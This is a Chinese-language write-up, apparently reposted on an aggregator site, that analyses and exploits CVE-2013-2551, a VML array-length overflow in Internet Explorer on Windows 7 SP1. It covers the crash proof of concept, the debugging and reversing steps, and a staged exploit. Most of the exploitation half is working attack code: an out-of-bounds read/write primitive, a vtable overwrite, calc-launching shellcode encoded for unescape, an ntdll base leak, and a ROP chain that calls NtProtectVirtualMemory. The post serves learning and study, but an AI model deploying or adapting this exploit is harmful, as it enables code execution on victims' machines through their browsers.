CVE-2013-2551

Posted amaza

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2013-2551相关的知识,希望对你有一定的参考价值。

小白的CVE-2013-2551 分析 & 利用

0xFF 前言

小白第一次尝试来分析浏览器的漏洞,在此之前我不会html,javascript,css,总之跟网站有关的我都不会。然后我花了一天去看与之相关的东西。学习了下javascript的基本语法。总之浏览器的东西真的好复杂啊。分析和利用这个cve-2013-2551也算是开启了新世界的大门吧。大概的路线是:

了解html+javascript+css --> 了解ie相关 -->调试 -->利用。

感谢那些在网上分享知识的大佬,没有你们的文章,我想短时间内搞懂一些浏览器的东西,是根本不可能的。

具体大佬连接在最后。

本文章仅仅是一个小白,自娱自乐的分析cve-2013-2551这个漏洞的记录而已。大部分为抄写笔记,所以很多雷同,大佬见到勿喷。

我是以一个从来没有接触过浏览器漏洞分析利用,没有任何exp编写经验的视角写的这篇文章,所以会有点长,会非常细。

0x00 环境和工具

  • windows 7 cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso
  • Windbg
  • IDA

接下来的文章,就是在上面给出的这个windows 7 旗舰版下分析的,安装系统之后关闭了自动更新,然后使用windbg下载了相关符号文件。

ie版本:

技术图片

ntdll (C:\\Windows\\System32\\ntdll.dll)版本:

技术图片

0x01 分析POC

POC

将下面代码复制到一个poc.html内。

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>

<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a          = new Array()

function createRects(){
    for(var i=0; i<0x400; i++){
        rect_array[i]    = document.createElement("v:shape")
        rect_array[i].id = "rect" + i.toString()
        document.body.appendChild(rect_array[i])
    }
}

function crashme(){

    var vml1  = document.getElementById("vml1")
    var shape = document.getElementById("shape")
    
    for (var i=0; i<0x400; i++){                                       //set up the heap
      a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
    }

    for (var i=0; i<0x400; i++){
      a[i].rotation;                                                   //create a COARuntimeStyle
      if (i == 0x300) {                                                //allocate an ORG array of size B0h
           vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
      }
    }
    
    vml1.dashstyle.array.length      = 0 - 1
    shape.dashstyle.array.length     = 0 - 1
    
    for (var i=0; i<0x400; i++) {
       a[i].marginLeft   = "a";
       marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
       if (marginLeftAddress > 0) {
            try{
                shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
            }
            catch(e) {continue}
       }
    }
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>

调试

首先使用gflags给iexplorer.exe 开启PageHeap

技术图片

开启之后就可以开始分析了!

1、打开这个poc.html。会弹出如下页面:

技术图片

这个时候先不要点那个“为了有利于保护安全性,Inter ..... 选项”。

2、打开windbg,F6 出现以下对话框:

技术图片

可以发现出现了两个iexplore.exe,那么我们应该选择哪个呢? 选第二个(第二个为子进程),记住要选第二个,不管前面那个数字大小,选第 二 个 就行了。

选了第二个,点击OK按钮,出现下图:

技术图片

然后输入g命令,回车。

3、允许阻止的内容,然后点击crash!!!按钮。

技术图片

发现windbg断下(可能没有断下,重新来一遍就行了)。

技术图片

开始栈回溯,使用k命令:

技术图片

可以看到是vgx模块出的错,那么下面把vgx.dll拿出来使用IDA分析。

使用lmvm 命令得到vgx.dll的路径:

技术图片

4、开始分析vgx!ORG::Get函数。

技术图片

下面我们来逆向调试一下。调用到ORG::Get()时它的三个参数,和memcpy的三个参数的值是啥,看看能不能找出什么线索。

重新打开poc.html使用windbg附加,然后使用bp vgx!ORG::Get() 下断点,然后g运行,点击crash!!!按钮。

可以发现断下,然后使用p单步运行3次(保证栈帧形成),然后查看参数如下图:

技术图片

可以看到第三个参数是0x44。等等我们poc中的

marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);//0x2E+0x16=0x44

不就是0x44吗?难道和这儿有关?那我们将poc中的那个0x2E+0x16改为:

marginLeftAddress = vml1.dashstyle.array.item(0x66);

再来试试呢?下面是我试出来的:

技术图片

还真是。那么继续看看memcpy的三个参数。

 memcpy(
      Dst,
      (const void *)(*((_DWORD *)this + 4) + index * (*((_DWORD *)this + 2) &   0xFFFF)),
      *((_DWORD *)this + 2) & 0xFFFF);

可以看到 第二个参数(源地址)和 第三个参数(拷贝长度) 都于this有关。这里的this是ORG对象的指针。在windbg中查看下this的各个成员的值:

技术图片

其中那个0x1d976f50即 *((_DWORD *)this + 4) 是非常有趣的,它所指向内存的地址里面的东西居然是1 2 3 ...

那不就是poc.html中的:

vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"

那么可以猜测ORG::Get函数的功能就是获取vml1.dashstyle中的第几个元素的值。比如ORG::Get(this,&Dst,1),那么执行后Dst的值就是1了。

但是vml1.dashstyle中一共也就0x2C个元素啊。但是调试的时候却发现第三个参数index却为0x44。很明显访问越界了。而像这种对象,肯定是存在长度检测的,比如下面这种代码:

ORG::GetXXX(this,Dst,index)
{
    ...
    if(index < this->size)
    {
        ORG::Get(this,Dst,index);
    }
    ...
}

或者说ORG这个对象应该有个字段存储着当前的元素个数的。

来看看代码,一层一层向上栈回溯。慢慢找判断,一般来说就是向上一层。

向上一层调用的是:vgx!COALineDashStyleArray::get_item函数。很幸运,可以找到是否要调用ORG::Get的代码如下:

技术图片

调试得到,totalnum的值居然是0xffff !!!也就是说:

技术图片

而poc.html中存在如下语句:

 vml1.dashstyle.array.length     = 0 - 1
 shape.dashstyle.array.length    = 0 - 1

猜测这就是对长度进行设置的代码。

此时我们已经大概了解的这个漏洞的原理,但还是没有追溯到修改数组长度的根源。接下来我们将要试图找到修改length的具体代码。

5、下面的步骤是参看hpasserby大佬的文章中的方法分析 来寻找修改length的具体代码。

因为在c++在创建对象的时候,会将对象的虚表地址拷贝到对象的内存中,所以我们在代码中搜索对vgx!ORG::‘vftable‘的引用,试图找到创建vgx!ORG对象的代码。

IDA中,在汇编代码窗口使用快捷键(要在汇编窗口使用哦,要不然搜不到) : ALT + T ,然后输入ORG::`vftable‘ 进行搜索。

技术图片

得到结果如下:

技术图片

可以看到,除了虚表本身以及两个ORG对象的成员函数外,只剩一个函数:

signed int __stdcall MsoFCreateArray(__int16 a1, _DWORD *a2)

先把那个“为了有利于安全性”点了之后,再在windbg中对其下断点,g之后,再点crash!!!:

0:015> bp vgx!MsoFCreateArray
0:015> g
Breakpoint 0 hit
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1df esp=04749534 ebp=04749548 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray:
6e86d1df 8bff            mov     edi,edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e1 esp=04749534 ebp=04749548 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x2:
6e86d1e1 55              push    ebp
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e2 esp=04749530 ebp=04749548 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x3:
6e86d1e2 8bec            mov     ebp,esp
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e4 esp=04749530 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x5:
6e86d1e4 56              push    esi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e5 esp=0474952c ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x6:
6e86d1e5 57              push    edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e6 esp=04749528 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0x7:
6e86d1e6 bf01010000      mov     edi,101h
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1eb esp=04749528 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0xc:
6e86d1eb 57              push    edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1ec esp=04749524 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0xd:
6e86d1ec 6a14            push    14h
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1ee esp=04749520 ebp=04749530 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vgx!MsoFCreateArray+0xf:
6e86d1ee e88a67fdff      call    vgx!operator new (6e84397d)
0:005> p
eax=1e468fe8 ebx=047495c8 ecx=00000014 edx=00000000 esi=047495cc edi=00000101
eip=6e86d1f3 esp=04749520 ebp=04749530 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
vgx!MsoFCreateArray+0x14:
6e86d1f3 59              pop     ecx

//eax=1e468fe8就是对象的地址

可以发现这里创建了一个vgx!ORG对象,我们对它的length所在地址下内存断点,来观察其值的变化。这里我就使用条件断点。

0:005> ba w2 1e468fe8+4 ".if (low(poi(1e468fe8+4))=0xffff) {dd 1e468fe8 l8} .else {gc}"
0:005> g
1e468fe8  6e857258 002cffff 00040004 00000101
1e468ff8  1d9d4f50 d0d0d0d0 ???????? ????????
eax=0000002c ebx=0000002d ecx=1d9d4f4c edx=0000002c esi=1e468fec edi=00000004
eip=6e8ac3c6 esp=047499c0 ebp=047499cc iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
vgx!MsoFRemovePx+0xaa:
6e8ac3c6 5f              pop     edi
0:005> k
ChildEBP RetAddr  
047499cc 6e8ac7c6 vgx!MsoFRemovePx+0xaa
047499e4 6e86cf79 vgx!MsoDeletePx+0x15
047499f8 6e8bdbac vgx!ORG::DeleteRange+0x17
04749a24 77a93e75 vgx!COALineDashStyleArray::put_length+0xd7
04749a40 77a93cef OLEAUT32!DispCallFunc+0x165
04749ad0 6e8a47c1 OLEAUT32!CTypeInfo2::Invoke+0x23f
04749c5c 6e8c4a88 vgx!COADispatch::Invoke+0x89
...

看栈回溯,可以看到一个名为vgx!COALineDashStyleArray::put_length的函数,put_Length!!!,猜测就是这个函数设置的长度。那么就从这个函数开始IDA F5。

6、F5 COALineDashStyleArray::put_length得到下图:

技术图片

比较处的汇编代码:

技术图片

esi为-1,原始的oldLength为大于等于0的值,所以条件满足,跳转执行ORG::DeleteRange函数。(这里正常的逻辑是,如果newLength>oldLength,则不跳转,new一个空间;如果newLength<oldLength则调用ORG::DeleteRange删除之前的,进行截断。)

接着跳进ORG::DeleteRange函数,进行F5:

技术图片

继续跟进MsoDeletePx函数,进行F5:

技术图片

继续跟进MsoFRemovePx函数,进行F5:

技术图片

汇编代码:

技术图片

技术图片

至此,分析完毕。

现在让我们回首一下:

调用

vml1.dashstyle.array.item(1)

我们可以读取到

 vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"

中的1。

通过

vml1.dashstyle.array.item(1)=6

我们可以将1改为6。

而通过漏洞我们可以将其长度扩展到0xffff

所以现在我们拥有了一个跨界的读和写。

那么假如我们通过合理的布局,将一个对象布置在 vml1.dashstyle的值所指内存的后面,那么我们就可以实现读写其对象成员的值(虚表之类的)。

0x02 利用

首先还是先把gflags给关了。

技术图片

构造R3任意内存读写

注意我使用的ie版本,和ntdll的版本!要不然利用会完全不一样。

具体原理可以去看后面的参考文章

首先让我们来看一个简化版的利用exp1.html

<html lang="zh">
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
    </head>
    <title>cve-2013-2551 win7 sp1 IE8.0</title>
    <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
    
    <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
    
    <body>
        <v:oval>
            <v:stroke id="vml1"/>
        </v:oval>
    </body>
    
    <script>
        var rect_array = new Array();
        var a = new Array();

        function createRects(){
            for(var i=0; i<0x400; i++){
                rect_array[i] = document.createElement("v:shape");
                rect_array[i].id = "rect" + i.toString();
                document.body.appendChild(rect_array[i]);
            }
        }
 
        function leak(){    
            var vml1  = document.getElementById("vml1");
            
            for (var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
            }
            
            for (var i = 0; i < 0x400; i++){
                a[i].rotation;
                if (i == 0x300) {
                vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
                }
            }
            vml1.dashstyle.array.length = 0 - 1;   

            for (var i = 0; i < 0x400; i++){  
                marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);   
                a[i].marginLeft = 'a'
                marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
                if (marginLeftAddress_orgin != marginLeftAddress_modify) {
                    var leak = a[i].marginLeft;
                    alert("0x"+marginLeftAddress_modify.toString(16));
                    break;
                }
            }
        }
        createRects();
        leak();
    </script>
</html>

打开这个exp1.html,然后就会弹出一个提示框,这个时候不要关闭这个提示框,而是使用windbg附加iexploer进程,然后dd 这个提示框的地址。得如下图:

技术图片

额,这个0x61不就是字符‘a‘吗?

再看看exp1.html中的代码:

 a[i].marginLeft = 'a';
 marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);

a[]数组是_vgRuntimeStyle对象。而a[i].marginLeft的值是‘a‘,难道vml1.dashstyle.array.item(0x2E+0x16)读到的是_vgRuntimeStyle.marginLeft的地址?我们来验证一下:

由于这个时候我并不知道dashstyle的值的地址,所以只好使用暴力搜索的方法来搜索了。

技术图片

果然如此,vml1.dashstyle.array.item(0x2E+0x16)读到的就是_vgRuntimeStyle.marginLeft的地址。

那么我们就可以通过vml1.dashstyle.array.item(0x2E+0x16)读写_vgRuntimeStyle.marginLeft的地址。使用

_vgRuntimeStyle.marginLeft=就可以实现任意R3空间的内存读写了。

给一张图加深理解:

技术图片

劫持eip

更详细的请参看后面的参考文章

exp2.html

<html lang="zh">
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
    </head>
    <title>cve-2013-2551 win7 sp1 IE8.0</title>
    <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
    
    <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
    
    <body>
        <v:oval>
            <v:stroke id="vml1"/>
        </v:oval>
    </body>
    
    <script>
        var rect_array = new Array();
        var a = new Array();

        function createRects(){
            for(var i=0; i<0x400; i++){
                rect_array[i] = document.createElement("v:shape");
                rect_array[i].id = "rect" + i.toString();
                document.body.appendChild(rect_array[i]);
            }
        }
 
        function leak(){    
            var vml1  = document.getElementById("vml1");
            
            for (var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
            }
            
            for (var i = 0; i < 0x400; i++){
                a[i].rotation;
                if (i == 0x300) {
                vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
                }
            }
            vml1.dashstyle.array.length = 0 - 1;   

            for (var i = 0; i < 0x400; i++){  
                marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);   
                a[i].marginLeft = 'a'
                marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
                if (marginLeftAddress_orgin != marginLeftAddress_modify) {
                    var leak = a[i].marginLeft;
                    break;
                }
            }
        }
        function exploit(){
            var vml1  = document.getElementById("vml1")
            for(var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._anchorRect;
                if (i == 0x300){
                    vml1.dashstyle = "1 2 3 4";
                }
            }
            vml1.dashstyle.array.length = 0 - 1; 

            vml1.dashstyle.array.item(6) = 0; //覆盖到虚表
            
            for (var i=0; i<0x400; i++)
            {
                delete a[i];
                CollectGarbage();
            }
            alert("done");
        }

        createRects();
        leak();
        exploit();
    </script>
</html>

打开这个exp2.html,运行后,不要先点那个“为了有利于保护安全性”,而是先使用windbg附加ie后再点。之后会断下来。

技术图片

真正call 的是 dword ptr [ecx+8] 。而我们可以控制vml1.dashstyle.array.item(6) 的值来控制ecx值。

利用利用

ok,下面开始总结下利用思路:我就想弹个计算器就行了,下面是一段简易的弹计算器shellcode。我们需要将它转换成html中的形式。具体需要使用到两个js函数。escape和unescape。

首先将 shellcode转换成word输出。(我这儿用的c语言)

#include<stdio.h>
#include<Windows.h>

_declspec(naked) void func()
{
    _asm
    {
        mov eax, fs:[0x30];// peb
        mov ebx, [eax + 0xc]; //peb->Ldr
        mov esi, [ebx + 0x14];//peb->Ldr.Inmemorder
        lodsd;//eax="ntdll.dll"
        xchg eax, esi;
        lodsd;//eax="kernel32.dll"
        mov ebx, [eax + 0x10]; //ebx = base address

        mov edx, [ebx + 0x3c]; //DOS->e_ifanew
        add edx, ebx; // PE header
        mov edx, [edx + 0x78];// edx = offset of EAT
        add edx, ebx;// EAT

        mov esi, [edx + 0x20]; //Address of Names(RVA)
        add esi, ebx;//Name Table
        xor ecx, ecx;//index=0

    Find_index:
        inc ecx;
        lodsd;//mov eax,[esi] RVA
        add eax, ebx;
        cmp dword ptr[eax], 0x50746547;//PteG
        jnz Find_index;
        cmp dword ptr[eax + 0x4], 0x41636f72;//Acor
        jnz Find_index;
        cmp dword ptr[eax + 0x8], 0x65726464; //erdd
        jnz Find_index;
        //get!
        mov esi, [edx + 0x24];//AddressOfNameOrdinals RVA
        add esi, ebx;//Ord Table
        mov cx, [esi + ecx * 2];//cx = realindex

        mov esi, [edx + 0x1c];//AddressOfFunction RVA
        add esi, ebx;//
        dec ecx;// indx-1
        mov edx, [esi + ecx * 4];
        add edx, ebx;//GetProcAddress real address



        push 0x00636578;//xec
        push 0x456E6957;//WinE
        push esp;
        push ebx;
        call edx;

        push 0;
        push 0x636c6163;//calc
        mov edi, esp;
        push 0;
        push edi;
        call eax;
        ret
    }
    
}


int main()
{   
    WORD data;
    for (int i = 0; i <= 0x71/2; i++)
    {
        data = *((WORD*)func+i);
        printf("\\\\u%04x", data);
    }
    return 0;
}

运行得:

技术图片

使用js:

<script type="text/javascript">


shell = "\\ua164\\u0030\\u0000\\u588b\\u8b0c\\u1473\\u96ad\\u8bad\\u1058\\u538b\\u033c\\u8bd3\\u7852\\ud303\\u728b\\u0320\\u33f3\\u41c9\\u03ad\\u81c3\\u4738\\u7465\\u7550\\u81f4\\u0478\\u6f72\\u4163\\ueb75\\u7881\\u6408\\u7264\\u7565\\u8be2\\u2472\\uf303\\u8b66\\u4e0c\\u728b\\u031c\\u49f3\\u148b\\u038e\\u68d3\\u6578\\u0063\\u5768\\u6e69\\u5445\\uff53\\u6ad2\\u6800\\u6163\\u636c\\ufc8b\\u006a\\uff57\\uc3d0"
shell = escape(shell)
document.write(shell)

</script>

运行得到shellcode:

这个shellcode是有坑的,不是指这个shellcode运行不起来,而是... 待会儿会说。

%uA1640%00%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0

还记得exp1.html中的:

a[i].marginLeft = 'a'

吗?我们可以这样做:

a[i].marginLeft = unescape("%uA1640%00%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0")

调试一下,看看是否写入shellcode。

技术图片

出乎意料,只写入了\\ua164\\u0030\\u0000。

原来是以\\u0000就停止写入了。而mov eax, fs:[0x30];在句汇编恰好就是64 a1 30 00 00 00。

那怎么办呢?网上的老哥是用的

xor ecx, ecx
mov eax, dword ptr fs : [ecx + 30h]

来解决的,将mov eax, fs:[0x30]替换成上面那两句后,按照上面的步骤可以得到如下shellcode

%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0

这下再来调试试试呢?

技术图片

写入成功!!!

而a[i].marginLeft的地址我们可以通过vml1.dashstyle.array.item(0x2E+0x16)得到。好的,那么现在我们已经得到了shellcode的地址了。下面需要做的就是写rop链,将这段内存改为可执行属性。

首先我们需要泄露ntdll的地址。

试试u SharedUserData!SystemCallStub。这是个固定的地址0x7ffe0300,用来实现快速系统调用。可以使用它来泄露ntdll的基址。(大佬想出的方法,小白只能膜拜)

技术图片

所以使用任意内存读写,可以得到ntdll的基址。

先获取0x7ffe0300处的值 ,然后用这个值减去0x470b0即可得到ntdll的基址。

下面就可以构造rop了。

首先是做stack pivot。参考的是大佬的来做的。具体可以参见下面的完整exp。

完整exp。

<html lang="zh">
    <head>
        <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
    </head>
    <title>cve-2013-2551 win7 sp1 IE8.0</title>
    <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
    
    <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
    
    <body>
        <v:oval>
            <v:stroke id="vml1"/>
        </v:oval>
    </body>
    
    <script>
        var rect_array = new Array();
        var a = new Array();
        
        var rop_addr;
        var ntdllbase;
        var shellcodeaddr;

        function createRects(){
            for(var i=0; i<0x400; i++){
                rect_array[i] = document.createElement("v:shape");
                rect_array[i].id = "rect" + i.toString();
                document.body.appendChild(rect_array[i]);
            }
        }
 
        function leak(){    
            var vml1  = document.getElementById("vml1");
            
            for (var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
            }
            
            for (var i = 0; i < 0x400; i++){
                a[i].rotation;
                if (i == 0x300) {
                vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
                }
            }
            
            var length_orig = vml1.dashstyle.array.length;//44
            vml1.dashstyle.array.length = 0 - 1;   

            for (var i = 0; i < 0x400; i++){  
                marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);   
                a[i].marginLeft = unescape("%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0");
                marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
                if (marginLeftAddress_orgin != marginLeftAddress_modify) {
                    vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
                    var leak = a[i].marginLeft;
                    vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
                    var shelladdr = marginLeftAddress_modify;
                    ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x470B0;
                    shellcodeaddr = shelladdr;
                    var rop_chain = tab2uni(get_ropchain(shelladdr));
                    a[i].marginLeft = rop_chain;
                    rop_addr = vml1.dashstyle.array.item(0x2E+0x16);

                    vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
                    vml1.dashstyle.array.length = length_orig;      

                    break;
                }
            }
        }

        function get_ropchain(shelladdr){
            var arr = [
                ntdllbase + Number(0x1) ,
                ntdllbase + Number(0x1) ,
                ntdllbase + Number(0x47733),        //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN 
                0x200,// NtProtectVirtualMemory的第三个参数所指的值
                ];
            return arr;
        }
        
        function d2u(dword) {
            var uni = String.fromCharCode(dword & 0xFFFF);
            uni += String.fromCharCode(dword>>16);
            return uni;
        }
        
        function tab2uni(tab) {
            var uni = ""
            for(var i=0;i<tab.length;i++) {
                uni += d2u(tab[i]);
            }
            return uni;
        }

        function exploit(){
            var vml1  = document.getElementById("vml1")

            for(var i = 0; i < 0x400; i++){
                a[i] = document.getElementById("rect" + i.toString())._anchorRect;
                if (i == 0x300){
                    vml1.dashstyle = "1 2 3 4";
                }
            }

            var length_orig = vml1.dashstyle.array.length;
            vml1.dashstyle.array.length = 0 - 1; 

            vml1.dashstyle.array.item(6) = rop_addr; //覆盖到虚表
            
            vml1.dashstyle.array.item( 9) = ntdllbase+Number(0x47643);  //pop edi # ret
            vml1.dashstyle.array.item(10) = ntdllbase+Number(0x45f18);  //NtProtectVirtualMemory
            vml1.dashstyle.array.item(11) = ntdllbase+Number(0xc71ef);  //pop esi # ret
            vml1.dashstyle.array.item(12) = shellcodeaddr;
            vml1.dashstyle.array.item(13) = ntdllbase+Number(0xcb72a);  //pop ebp # ret
            vml1.dashstyle.array.item(14) = 0-1;                        // -1
            vml1.dashstyle.array.item(15) = ntdllbase+Number(0x348b9);  //pop ebx # ret
            vml1.dashstyle.array.item(16) = rop_addr+12;                //ptr RegionSize
            vml1.dashstyle.array.item(17) = ntdllbase+Number(0x9a30c);  //pop eax # ret
            vml1.dashstyle.array.item(18) = 0-96601473;
            vml1.dashstyle.array.item(19) = ntdllbase+Number(0x3ab39);  //add eax,5C205C1h # ret 
            vml1.dashstyle.array.item(20) = ntdllbase+Number(0x36d70);  //xchg eax,edx # ret
            vml1.dashstyle.array.item(21) = ntdllbase+Number(0xcd241);  //pop ecx # ret
            vml1.dashstyle.array.item(22) = rop_addr;                   //ptr to OldAccessProtection
            vml1.dashstyle.array.item(23) = ntdllbase+Number(0x227c4);  //pushad # ret
            vml1.dashstyle.array.item(24) = shellcodeaddr;
            vml1.dashstyle.array.item(25) = Number(0x10400);
            vml1.dashstyle.array.item(26) = shellcodeaddr;
            for (var i=0; i<0x400; i++)
            {
                delete a[i];
                CollectGarbage();
            }
            alert("done");
        }

        createRects();
        leak();
        exploit();
    </script>
</html>

技术图片

0x03 总结:

浏览器很难,很难。ROP很需要技巧和脑洞,利用很需要积累和脑洞。我多总结,多想。

强烈安利0x9A82,hpasserby的文章。感觉可以学到好多。

0x04 参考

都是一些大佬的文章:

https://www.cnblogs.com/Danny-Wei/p/3766432.html ROP 参考

https://hpasserby.me/post/ef2727d8.html 非常详细的文章,本文大部分都是抄的这位大佬的。(要翻wall)

https://www.cnblogs.com/Ox9A82/p/5782425.html 巨佬的文章,非常值得学习,他看雪论坛里面也有非常多的文章,还有浏览器的教程。

以上是关于CVE-2013-2551的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

